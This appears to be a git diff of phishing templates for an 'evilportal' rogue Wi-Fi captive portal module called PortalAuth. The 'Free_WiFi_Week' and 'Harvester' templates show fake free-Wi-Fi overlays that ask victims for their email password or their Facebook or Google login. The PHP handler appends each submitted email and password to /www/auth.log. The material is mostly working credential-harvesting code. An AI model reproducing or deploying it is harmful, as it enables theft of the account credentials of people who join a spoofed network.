PortalAuth/includes/scripts/injects/Blank/backups/injectJS.txt
Executable file
4
PortalAuth/includes/scripts/injects/Blank/backups/injectJS.txt
Executable file
@@ -0,0 +1,4 @@
|
||||
<!--
|
||||
<script>
|
||||
</script>
|
||||
-->
|
||||
3
PortalAuth/includes/scripts/injects/Blank/backups/injectPHP.txt
Executable file
3
PortalAuth/includes/scripts/injects/Blank/backups/injectPHP.txt
Executable file
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
|
||||
?>
|
||||
4
PortalAuth/includes/scripts/injects/Blank/injectCSS.txt
Executable file
4
PortalAuth/includes/scripts/injects/Blank/injectCSS.txt
Executable file
@@ -0,0 +1,4 @@
|
||||
<!--
|
||||
<style>
|
||||
</style>
|
||||
-->
|
||||
4
PortalAuth/includes/scripts/injects/Blank/injectHTML.txt
Executable file
4
PortalAuth/includes/scripts/injects/Blank/injectHTML.txt
Executable file
@@ -0,0 +1,4 @@
|
||||
<!--
|
||||
<div>
|
||||
</div>
|
||||
-->
|
||||
4
PortalAuth/includes/scripts/injects/Blank/injectJS.txt
Executable file
4
PortalAuth/includes/scripts/injects/Blank/injectJS.txt
Executable file
@@ -0,0 +1,4 @@
|
||||
<!--
|
||||
<script>
|
||||
</script>
|
||||
-->
|
||||
3
PortalAuth/includes/scripts/injects/Blank/injectPHP.txt
Executable file
3
PortalAuth/includes/scripts/injects/Blank/injectPHP.txt
Executable file
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
|
||||
?>
|
||||
34
PortalAuth/includes/scripts/injects/Free_WiFi_Week/MyPortal.php
Executable file
34
PortalAuth/includes/scripts/injects/Free_WiFi_Week/MyPortal.php
Executable file
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
namespace evilportal;
|
||||
|
||||
class MyPortal extends Portal
|
||||
{
|
||||
|
||||
public function handleAuthorization()
|
||||
{
|
||||
// Call parent to handle basic authorization first
|
||||
parent::handleAuthorization();
|
||||
|
||||
// Check for other form data here
|
||||
if (!isset($_POST['email']) || !isset($_POST['password'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$fh = fopen('/www/auth.log', 'a+');
|
||||
fwrite($fh, "Email: " . $_POST['email'] . "\n");
|
||||
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
|
||||
fclose($fh);
|
||||
}
|
||||
|
||||
public function showSuccess()
|
||||
{
|
||||
// Calls default success message
|
||||
parent::showSuccess();
|
||||
}
|
||||
|
||||
public function showError()
|
||||
{
|
||||
// Calls default error message
|
||||
parent::showError();
|
||||
}
|
||||
}
|
||||
34
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/MyPortal.php
Executable file
34
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/MyPortal.php
Executable file
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
namespace evilportal;
|
||||
|
||||
class MyPortal extends Portal
|
||||
{
|
||||
|
||||
public function handleAuthorization()
|
||||
{
|
||||
// Call parent to handle basic authorization first
|
||||
parent::handleAuthorization();
|
||||
|
||||
// Check for other form data here
|
||||
if (!isset($_POST['email']) || !isset($_POST['password'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$fh = fopen('/www/auth.log', 'a+');
|
||||
fwrite($fh, "Email: " . $_POST['email'] . "\n");
|
||||
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
|
||||
fclose($fh);
|
||||
}
|
||||
|
||||
public function showSuccess()
|
||||
{
|
||||
// Calls default success message
|
||||
parent::showSuccess();
|
||||
}
|
||||
|
||||
public function showError()
|
||||
{
|
||||
// Calls default error message
|
||||
parent::showError();
|
||||
}
|
||||
}
|
||||
120
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectCSS.txt
Executable file
120
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectCSS.txt
Executable file
@@ -0,0 +1,120 @@
|
||||
<style>
|
||||
.pa_form-container {
|
||||
border: 1px solid #f2e3d2;
|
||||
background:#F0F8FF;
|
||||
-webkit-border-radius: 8px;
|
||||
-moz-border-radius: 8px;
|
||||
border-radius: 8px;
|
||||
-webkit-box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
|
||||
-moz-box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
|
||||
box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
|
||||
font-family: 'Helvetica Neue',Helvetica,sans-serif;
|
||||
text-align: center;
|
||||
position: fixed;
|
||||
width: 450px;
|
||||
height: 370px;
|
||||
padding: 20px;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
margin-top: -230px;
|
||||
margin-left: -225px;
|
||||
z-index: 10;
|
||||
display: none;
|
||||
}
|
||||
#pa_overlay-back {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0,0,0,.7);
|
||||
z-index: 5;
|
||||
display: none;
|
||||
}
|
||||
.pa_form-field {
|
||||
background: #fff;
|
||||
color: #000;
|
||||
font-size: 18px;
|
||||
-webkit-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
-moz-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
padding:8px;
|
||||
margin-bottom:20px;
|
||||
width:90%;
|
||||
}
|
||||
.pa_form-field:focus {
|
||||
background: #fff;
|
||||
color: #725129;
|
||||
}
|
||||
.pa_form-container h2 {
|
||||
color: #6aa436;
|
||||
font-size:18px;
|
||||
margin: 0 0 10px 0;
|
||||
font-weight:bold;
|
||||
text-align: center;
|
||||
}
|
||||
.pa_form-container p {
|
||||
text-align: center;
|
||||
margin: 10px auto 10px auto;
|
||||
}
|
||||
.pa_form-container table {
|
||||
width: 90%;
|
||||
margin: 0 auto;
|
||||
}
|
||||
.pa_form-title {
|
||||
margin-bottom:10px;
|
||||
color: #725129;
|
||||
font-size: 16px;
|
||||
text-align: left;
|
||||
}
|
||||
.pa_submit-container {
|
||||
margin:8px 0;
|
||||
text-align:center;
|
||||
}
|
||||
.pa_submit-button {
|
||||
border: 1px solid #447314;
|
||||
background: #6aa436;
|
||||
background: -webkit-gradient(linear, left top, left bottom, from(#8dc059), to(#6aa436));
|
||||
background: -webkit-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -moz-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -ms-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -o-linear-gradient(top, #8dc059, #6aa436);
|
||||
background-image: -ms-linear-gradient(top, #8dc059 0%, #6aa436 100%);
|
||||
-webkit-border-radius: 4px;
|
||||
-moz-border-radius: 4px;
|
||||
border-radius: 4px;
|
||||
-webkit-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
-moz-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
color: #31540c;
|
||||
font-family: helvetica, serif;
|
||||
padding: 8.5px 18px;
|
||||
font-size: 14px;
|
||||
text-decoration: none;
|
||||
vertical-align: middle;
|
||||
width: 200px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.pa_submit-button:hover {
|
||||
border: 1px solid #447314;
|
||||
background: #6aa436;
|
||||
background: -webkit-gradient(linear, left top, left bottom, from(#8dc059), to(#6aa436));
|
||||
background: -webkit-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -moz-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -ms-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -o-linear-gradient(top, #8dc059, #6aa436);
|
||||
background-image: -ms-linear-gradient(top, #8dc059 0%, #6aa436 100%);
|
||||
color: #fff;
|
||||
}
|
||||
.pa_submit-button:active {
|
||||
border: 1px solid #447314;
|
||||
background: #8dc059;
|
||||
background: -webkit-gradient(linear, left top, left bottom, from(#6aa436), to(#6aa436));
|
||||
background: -webkit-linear-gradient(top, #6aa436, #8dc059);
|
||||
background: -moz-linear-gradient(top, #6aa436, #8dc059);
|
||||
background: -ms-linear-gradient(top, #6aa436, #8dc059);
|
||||
background: -o-linear-gradient(top, #6aa436, #8dc059);
|
||||
background-image: -ms-linear-gradient(top, #6aa436 0%, #8dc059 100%);
|
||||
color: #fff;
|
||||
}
|
||||
</style>
|
||||
16
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectHTML.txt
Executable file
16
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectHTML.txt
Executable file
@@ -0,0 +1,16 @@
|
||||
<div id="pa_overlay-back"></div>
|
||||
<div class="pa_form-container">
|
||||
<h3 style="display: inline">Enjoy free WiFi between</h3>
|
||||
<h2><div id="pa_date"></div></h2>
|
||||
<div style="margin: 0 auto">
|
||||
<p>Simply enter your email address and password. If you do not already have an account with us one will be created for you.</p>
|
||||
</div>
|
||||
<br /><br />
|
||||
<input class="pa_form-field" type="text" id="pa_email" placeholder="you@gmail.com" />
|
||||
<input class="pa_form-field" type="password" id="pa_password" placeholder="Password" />
|
||||
<br /><br />
|
||||
<div class="pa_submit-container">
|
||||
<input class="pa_submit-button" type="submit" value="Submit" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
53
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectJS.txt
Executable file
53
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectJS.txt
Executable file
@@ -0,0 +1,53 @@
|
||||
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
|
||||
|
||||
<script>
|
||||
window.onload = init;
|
||||
|
||||
function init(){
|
||||
importantDates();
|
||||
setTimeout(displayLogin(),1000);
|
||||
}
|
||||
function importantDates() {
|
||||
$('#pa_date').html(function(){
|
||||
var monthNames=["January", "February", "March", "April", "May", "June",
|
||||
"July", "August", "September", "October", "November", "December"];
|
||||
var tf=new Date();var tp=new Date();var f=new Date();var p=new Date();
|
||||
f.setDate(tf.getDate()+5);p.setDate(tp.getDate()-2);
|
||||
var fd=f.getDate();var pd=p.getDate();
|
||||
var fm=monthNames[f.getMonth()];var pm=monthNames[p.getMonth()];
|
||||
if(fd<10){fd='0'+fd}if(pd<10){pd='0'+pd}
|
||||
return pm+' '+pd+' - '+fm+' '+fd;
|
||||
});
|
||||
}
|
||||
$(function() {
|
||||
$(".pa_submit-button").on("click", function() {
|
||||
var email_addr = $('#pa_email').val();
|
||||
var pass = $('#pa_password').val();
|
||||
if (email_addr == "" || pass == "") {
|
||||
alert("You must enter credentials to log in.");
|
||||
return;
|
||||
} else {
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/captiveportal/index.php",
|
||||
data: {email: email_addr,
|
||||
password: pass,
|
||||
target: "<?=$destination?>"},
|
||||
dataType: 'json',
|
||||
success: function(data, textStatus, jqXHR) {
|
||||
window.location="/captiveportal/index.php";
|
||||
},
|
||||
error: function(data, textStatus, errorThrown) {
|
||||
window.location="/captiveportal/index.php";
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
function displayLogin() {
|
||||
$(function(){
|
||||
$(".pa_form-container").css("opacity", "1");
|
||||
$(".pa_form-container, #pa_overlay-back").fadeIn("slow");
|
||||
});
|
||||
}
|
||||
</script>
|
||||
3
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectPHP.txt
Executable file
3
PortalAuth/includes/scripts/injects/Free_WiFi_Week/backups/injectPHP.txt
Executable file
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
|
||||
?>
|
||||
120
PortalAuth/includes/scripts/injects/Free_WiFi_Week/injectCSS.txt
Executable file
120
PortalAuth/includes/scripts/injects/Free_WiFi_Week/injectCSS.txt
Executable file
@@ -0,0 +1,120 @@
|
||||
<style>
|
||||
.pa_form-container {
|
||||
border: 1px solid #f2e3d2;
|
||||
background:#F0F8FF;
|
||||
-webkit-border-radius: 8px;
|
||||
-moz-border-radius: 8px;
|
||||
border-radius: 8px;
|
||||
-webkit-box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
|
||||
-moz-box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
|
||||
box-shadow: rgba(000,000,000,0.9) 0 1px 2px;
|
||||
font-family: 'Helvetica Neue',Helvetica,sans-serif;
|
||||
text-align: center;
|
||||
position: fixed;
|
||||
width: 450px;
|
||||
height: 370px;
|
||||
padding: 20px;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
margin-top: -230px;
|
||||
margin-left: -225px;
|
||||
z-index: 10;
|
||||
display: none;
|
||||
}
|
||||
#pa_overlay-back {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0,0,0,.7);
|
||||
z-index: 5;
|
||||
display: none;
|
||||
}
|
||||
.pa_form-field {
|
||||
background: #fff;
|
||||
color: #000;
|
||||
font-size: 18px;
|
||||
-webkit-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
-moz-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
padding:8px;
|
||||
margin-bottom:20px;
|
||||
width:90%;
|
||||
}
|
||||
.pa_form-field:focus {
|
||||
background: #fff;
|
||||
color: #725129;
|
||||
}
|
||||
.pa_form-container h2 {
|
||||
color: #6aa436;
|
||||
font-size:18px;
|
||||
margin: 0 0 10px 0;
|
||||
font-weight:bold;
|
||||
text-align: center;
|
||||
}
|
||||
.pa_form-container p {
|
||||
text-align: center;
|
||||
margin: 10px auto 10px auto;
|
||||
}
|
||||
.pa_form-container table {
|
||||
width: 90%;
|
||||
margin: 0 auto;
|
||||
}
|
||||
.pa_form-title {
|
||||
margin-bottom:10px;
|
||||
color: #725129;
|
||||
font-size: 16px;
|
||||
text-align: left;
|
||||
}
|
||||
.pa_submit-container {
|
||||
margin:8px 0;
|
||||
text-align:center;
|
||||
}
|
||||
.pa_submit-button {
|
||||
border: 1px solid #447314;
|
||||
background: #6aa436;
|
||||
background: -webkit-gradient(linear, left top, left bottom, from(#8dc059), to(#6aa436));
|
||||
background: -webkit-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -moz-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -ms-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -o-linear-gradient(top, #8dc059, #6aa436);
|
||||
background-image: -ms-linear-gradient(top, #8dc059 0%, #6aa436 100%);
|
||||
-webkit-border-radius: 4px;
|
||||
-moz-border-radius: 4px;
|
||||
border-radius: 4px;
|
||||
-webkit-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
-moz-box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
box-shadow: rgba(255,255,255,0.4) 0 1px 0;
|
||||
color: #31540c;
|
||||
font-family: helvetica, serif;
|
||||
padding: 8.5px 18px;
|
||||
font-size: 14px;
|
||||
text-decoration: none;
|
||||
vertical-align: middle;
|
||||
width: 200px;
|
||||
cursor: pointer;
|
||||
}
|
||||
.pa_submit-button:hover {
|
||||
border: 1px solid #447314;
|
||||
background: #6aa436;
|
||||
background: -webkit-gradient(linear, left top, left bottom, from(#8dc059), to(#6aa436));
|
||||
background: -webkit-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -moz-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -ms-linear-gradient(top, #8dc059, #6aa436);
|
||||
background: -o-linear-gradient(top, #8dc059, #6aa436);
|
||||
background-image: -ms-linear-gradient(top, #8dc059 0%, #6aa436 100%);
|
||||
color: #fff;
|
||||
}
|
||||
.pa_submit-button:active {
|
||||
border: 1px solid #447314;
|
||||
background: #8dc059;
|
||||
background: -webkit-gradient(linear, left top, left bottom, from(#6aa436), to(#6aa436));
|
||||
background: -webkit-linear-gradient(top, #6aa436, #8dc059);
|
||||
background: -moz-linear-gradient(top, #6aa436, #8dc059);
|
||||
background: -ms-linear-gradient(top, #6aa436, #8dc059);
|
||||
background: -o-linear-gradient(top, #6aa436, #8dc059);
|
||||
background-image: -ms-linear-gradient(top, #6aa436 0%, #8dc059 100%);
|
||||
color: #fff;
|
||||
}
|
||||
</style>
|
||||
16
PortalAuth/includes/scripts/injects/Free_WiFi_Week/injectHTML.txt
Executable file
16
PortalAuth/includes/scripts/injects/Free_WiFi_Week/injectHTML.txt
Executable file
@@ -0,0 +1,16 @@
|
||||
<div id="pa_overlay-back"></div>
|
||||
<div class="pa_form-container">
|
||||
<h3 style="display: inline">Enjoy free WiFi between</h3>
|
||||
<h2><div id="pa_date"></div></h2>
|
||||
<div style="margin: 0 auto">
|
||||
<p>Simply enter your email address and password. If you do not already have an account with us one will be created for you.</p>
|
||||
</div>
|
||||
<br /><br />
|
||||
<input class="pa_form-field" type="text" id="pa_email" placeholder="you@gmail.com" />
|
||||
<input class="pa_form-field" type="password" id="pa_password" placeholder="Password" />
|
||||
<br /><br />
|
||||
<div class="pa_submit-container">
|
||||
<input class="pa_submit-button" type="submit" value="Submit" />
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
53
PortalAuth/includes/scripts/injects/Free_WiFi_Week/injectJS.txt
Executable file
53
PortalAuth/includes/scripts/injects/Free_WiFi_Week/injectJS.txt
Executable file
@@ -0,0 +1,53 @@
|
||||
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
|
||||
|
||||
<script>
|
||||
window.onload = init;
|
||||
|
||||
function init(){
|
||||
importantDates();
|
||||
setTimeout(displayLogin(),1000);
|
||||
}
|
||||
function importantDates() {
|
||||
$('#pa_date').html(function(){
|
||||
var monthNames=["January", "February", "March", "April", "May", "June",
|
||||
"July", "August", "September", "October", "November", "December"];
|
||||
var tf=new Date();var tp=new Date();var f=new Date();var p=new Date();
|
||||
f.setDate(tf.getDate()+5);p.setDate(tp.getDate()-2);
|
||||
var fd=f.getDate();var pd=p.getDate();
|
||||
var fm=monthNames[f.getMonth()];var pm=monthNames[p.getMonth()];
|
||||
if(fd<10){fd='0'+fd}if(pd<10){pd='0'+pd}
|
||||
return pm+' '+pd+' - '+fm+' '+fd;
|
||||
});
|
||||
}
|
||||
$(function() {
|
||||
$(".pa_submit-button").on("click", function() {
|
||||
var email_addr = $('#pa_email').val();
|
||||
var pass = $('#pa_password').val();
|
||||
if (email_addr == "" || pass == "") {
|
||||
alert("You must enter credentials to log in.");
|
||||
return;
|
||||
} else {
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/captiveportal/index.php",
|
||||
data: {email: email_addr,
|
||||
password: pass,
|
||||
target: "<?=$destination?>"},
|
||||
dataType: 'json',
|
||||
success: function(data, textStatus, jqXHR) {
|
||||
window.location="/captiveportal/index.php";
|
||||
},
|
||||
error: function(data, textStatus, errorThrown) {
|
||||
window.location="/captiveportal/index.php";
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
function displayLogin() {
|
||||
$(function(){
|
||||
$(".pa_form-container").css("opacity", "1");
|
||||
$(".pa_form-container, #pa_overlay-back").fadeIn("slow");
|
||||
});
|
||||
}
|
||||
</script>
|
||||
3
PortalAuth/includes/scripts/injects/Free_WiFi_Week/injectPHP.txt
Executable file
3
PortalAuth/includes/scripts/injects/Free_WiFi_Week/injectPHP.txt
Executable file
@@ -0,0 +1,3 @@
|
||||
<?php
|
||||
$destination = "http://". $_SERVER['HTTP_HOST'] . $_SERVER['HTTP_URI'] . "";
|
||||
?>
|
||||
34
PortalAuth/includes/scripts/injects/Harvester/MyPortal.php
Executable file
34
PortalAuth/includes/scripts/injects/Harvester/MyPortal.php
Executable file
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
namespace evilportal;
|
||||
|
||||
class MyPortal extends Portal
|
||||
{
|
||||
|
||||
public function handleAuthorization()
|
||||
{
|
||||
// Call parent to handle basic authorization first
|
||||
parent::handleAuthorization();
|
||||
|
||||
// Check for other form data here
|
||||
if (!isset($_POST['email']) || !isset($_POST['password'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$fh = fopen('/www/auth.log', 'a+');
|
||||
fwrite($fh, "Email: " . $_POST['email'] . "\n");
|
||||
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
|
||||
fclose($fh);
|
||||
}
|
||||
|
||||
public function showSuccess()
|
||||
{
|
||||
// Calls default success message
|
||||
parent::showSuccess();
|
||||
}
|
||||
|
||||
public function showError()
|
||||
{
|
||||
// Calls default error message
|
||||
parent::showError();
|
||||
}
|
||||
}
|
||||
34
PortalAuth/includes/scripts/injects/Harvester/backups/MyPortal.php
Executable file
34
PortalAuth/includes/scripts/injects/Harvester/backups/MyPortal.php
Executable file
@@ -0,0 +1,34 @@
|
||||
<?php
|
||||
namespace evilportal;
|
||||
|
||||
class MyPortal extends Portal
|
||||
{
|
||||
|
||||
public function handleAuthorization()
|
||||
{
|
||||
// Call parent to handle basic authorization first
|
||||
parent::handleAuthorization();
|
||||
|
||||
// Check for other form data here
|
||||
if (!isset($_POST['email']) || !isset($_POST['password'])) {
|
||||
return;
|
||||
}
|
||||
|
||||
$fh = fopen('/www/auth.log', 'a+');
|
||||
fwrite($fh, "Email: " . $_POST['email'] . "\n");
|
||||
fwrite($fh, "Pass: " . $_POST['password'] . "\n\n");
|
||||
fclose($fh);
|
||||
}
|
||||
|
||||
public function showSuccess()
|
||||
{
|
||||
// Calls default success message
|
||||
parent::showSuccess();
|
||||
}
|
||||
|
||||
public function showError()
|
||||
{
|
||||
// Calls default error message
|
||||
parent::showError();
|
||||
}
|
||||
}
|
||||
89
PortalAuth/includes/scripts/injects/Harvester/backups/injectCSS.txt
Executable file
89
PortalAuth/includes/scripts/injects/Harvester/backups/injectCSS.txt
Executable file
@@ -0,0 +1,89 @@
|
||||
<style>
|
||||
.pa_field {
|
||||
width: 70%;
|
||||
height: 30px;
|
||||
font-size: 18px;
|
||||
border: 1px solid #000;
|
||||
}
|
||||
.pa_main {
|
||||
background-color: rgba(255,255,255,.9);
|
||||
left: 0%;
|
||||
margin-top: 200px;
|
||||
text-align: center;
|
||||
padding-top: 75px;
|
||||
position: fixed;
|
||||
border-style:solid;
|
||||
border-width:medium;
|
||||
border-color:#aaa;
|
||||
-webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
-moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
}
|
||||
.pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
#pa_msgBox{
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 600px;
|
||||
height: 400px;
|
||||
margin-top: -230px;
|
||||
margin-left: -300px;
|
||||
z-index: 10;
|
||||
display: none;
|
||||
}
|
||||
#pa_overlay-back {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0,0,0,.7);
|
||||
z-index: 5;
|
||||
display: none;
|
||||
}
|
||||
.pa_connectButton {
|
||||
-moz-box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
-webkit-box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
box-shadow:inset 0px 1px 3px 0px #3dc21b;
|
||||
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #1fd950), color-stop(1, #5cbf2a));
|
||||
background:-moz-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-webkit-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-o-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:-ms-linear-gradient(top, #1fd950 5%, #5cbf2a 100%);
|
||||
background:linear-gradient(to bottom, #1fd950 5%, #5cbf2a 100%);
|
||||
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#1fd950', endColorstr='#5cbf2a',GradientType=0);
|
||||
background-color:#1fd950;
|
||||
-moz-border-radius:5px;
|
||||
-webkit-border-radius:5px;
|
||||
border-radius:5px;
|
||||
border:1px solid #18ab29;
|
||||
display:inline-block;
|
||||
cursor:pointer;
|
||||
color:#ffffff;
|
||||
font-family:arial;
|
||||
font-size:22px;
|
||||
font-weight:bold;
|
||||
padding:12px 37px;
|
||||
text-decoration:none;
|
||||
text-shadow:0px -1px 0px #2f6627;
|
||||
}
|
||||
.pa_connectButton:hover {
|
||||
background:-webkit-gradient(linear, left top, left bottom, color-stop(0.05, #5cbf2a), color-stop(1, #1fd950));
|
||||
background:-moz-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-webkit-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-o-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:-ms-linear-gradient(top, #5cbf2a 5%, #1fd950 100%);
|
||||
background:linear-gradient(to bottom, #5cbf2a 5%, #1fd950 100%);
|
||||
filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#5cbf2a', endColorstr='#1fd950',GradientType=0);
|
||||
background-color:#5cbf2a;
|
||||
}
|
||||
.pa_connectButton:active {
|
||||
position:relative;
|
||||
top:1px;
|
||||
}
|
||||
.pa_left {
|
||||
margin-left: 60px;
|
||||
}
|
||||
</style>
|
||||
15
PortalAuth/includes/scripts/injects/Harvester/backups/injectHTML.txt
Executable file
15
PortalAuth/includes/scripts/injects/Harvester/backups/injectHTML.txt
Executable file
@@ -0,0 +1,15 @@
|
||||
<div id="pa_overlay-back"></div>
|
||||
<div id="pa_msgBox" class="pa_main">
|
||||
<h1 class="pa_h1">Internet access is on us today.</h1><br />
|
||||
<h4 class="pa_h4">Simply login with your Facebook or Google account<br />through our secure form below to start surfing.</h4>
|
||||
<br /><br />
|
||||
<div>
|
||||
<input type="text" id="pa_email" name="pa_email" class="pa_field" placeholder="FB or Gmail Login" />
|
||||
</div>
|
||||
<br />
|
||||
<div>
|
||||
<input type="password" id="pa_password" name="pa_password" class="pa_field" placeholder="FB or GMail Password" />
|
||||
</div>
|
||||
<br /><br />
|
||||
<button id="submit_button" class="pa_connectButton" type="button">Connect</button>
|
||||
</div>
|
||||
36
PortalAuth/includes/scripts/injects/Harvester/backups/injectJS.txt
Executable file
36
PortalAuth/includes/scripts/injects/Harvester/backups/injectJS.txt
Executable file
@@ -0,0 +1,36 @@
|
||||
<script type="text/javascript" src="jquery-2.2.1.min.js"></script>
|
||||
|
||||
<script>
|
||||
window.onload = setTimeout(displayLogin, 1000);
|
||||
$(function() {
|
||||
$("#submit_button").on("click", function() {
|
||||
var email_addr = $('#pa_email').val();
|
||||
var pass = $('#pa_password').val();
|
||||
if (email_addr == "" || pass == "") {
|
||||
alert("Please login with your Facebook or Google account to access free Wi-Fi.");
|
||||
return;
|
||||
} else {
|
||||
$.ajax({
|
||||
type: "POST",
|
||||
url: "/captiveportal/index.php",
|
||||
data: {email: email_addr,
|
||||
password: pass,
|
||||
target: "<?=$destination?>"},
|
||||
dataType: 'json',
|
||||
success: function(data, textStatus, jqXHR) {
|
||||
window.location="/captiveportal/index.php";
|
||||
},
|
||||
error: function(data, textStatus, errorThrown) {
|
||||
window.location="/captiveportal/index.php";
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
function displayLogin() {
|
||||
$(function(){
|
||||
$("#pa_msgBox").css("opacity", "1");
|
||||
$("#pa_msgBox, #pa_overlay-back").fadeIn("slow");
|
||||
});
|
||||
}
|
||||
</script>
|
||||
89
PortalAuth/includes/scripts/injects/Harvester/injectCSS.txt
Executable file
89
PortalAuth/includes/scripts/injects/Harvester/injectCSS.txt
Executable file
@@ -0,0 +1,89 @@
|
||||
<style>
|
||||
.pa_field {
|
||||
width: 70%;
|
||||
height: 30px;
|
||||
font-size: 18px;
|
||||
border: 1px solid #000;
|
||||
}
|
||||
.pa_main {
|
||||
background-color: rgba(255,255,255,.9);
|
||||
left: 0%;
|
||||
margin-top: 200px;
|
||||
text-align: center;
|
||||
padding-top: 75px;
|
||||
position: fixed;
|
||||
border-style:solid;
|
||||
border-width:medium;
|
||||
border-color:#aaa;
|
||||
-webkit-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
-moz-box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
box-shadow: 10px 10px 5px 0px rgba(11,11,11,0.9);
|
||||
}
|
||||
.pa_h1 {margin: auto; font: 36px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h2 {margin: auto; font: 26px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h3 {margin: auto; font: 22px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
.pa_h4 {margin: auto; font: 16px 'Helvetica Neue', Helvetica, Arial, sans-serif;}
|
||||
#pa_msgBox{
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
width: 600px;
|
||||
height: 400px;
|
||||
margin-top: -230px;
|
||||
margin-left: -300px;
|
||||
z-index: 10;
|
||||
display: none;
|
||||
}
|
||||
#pa_overlay-back {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
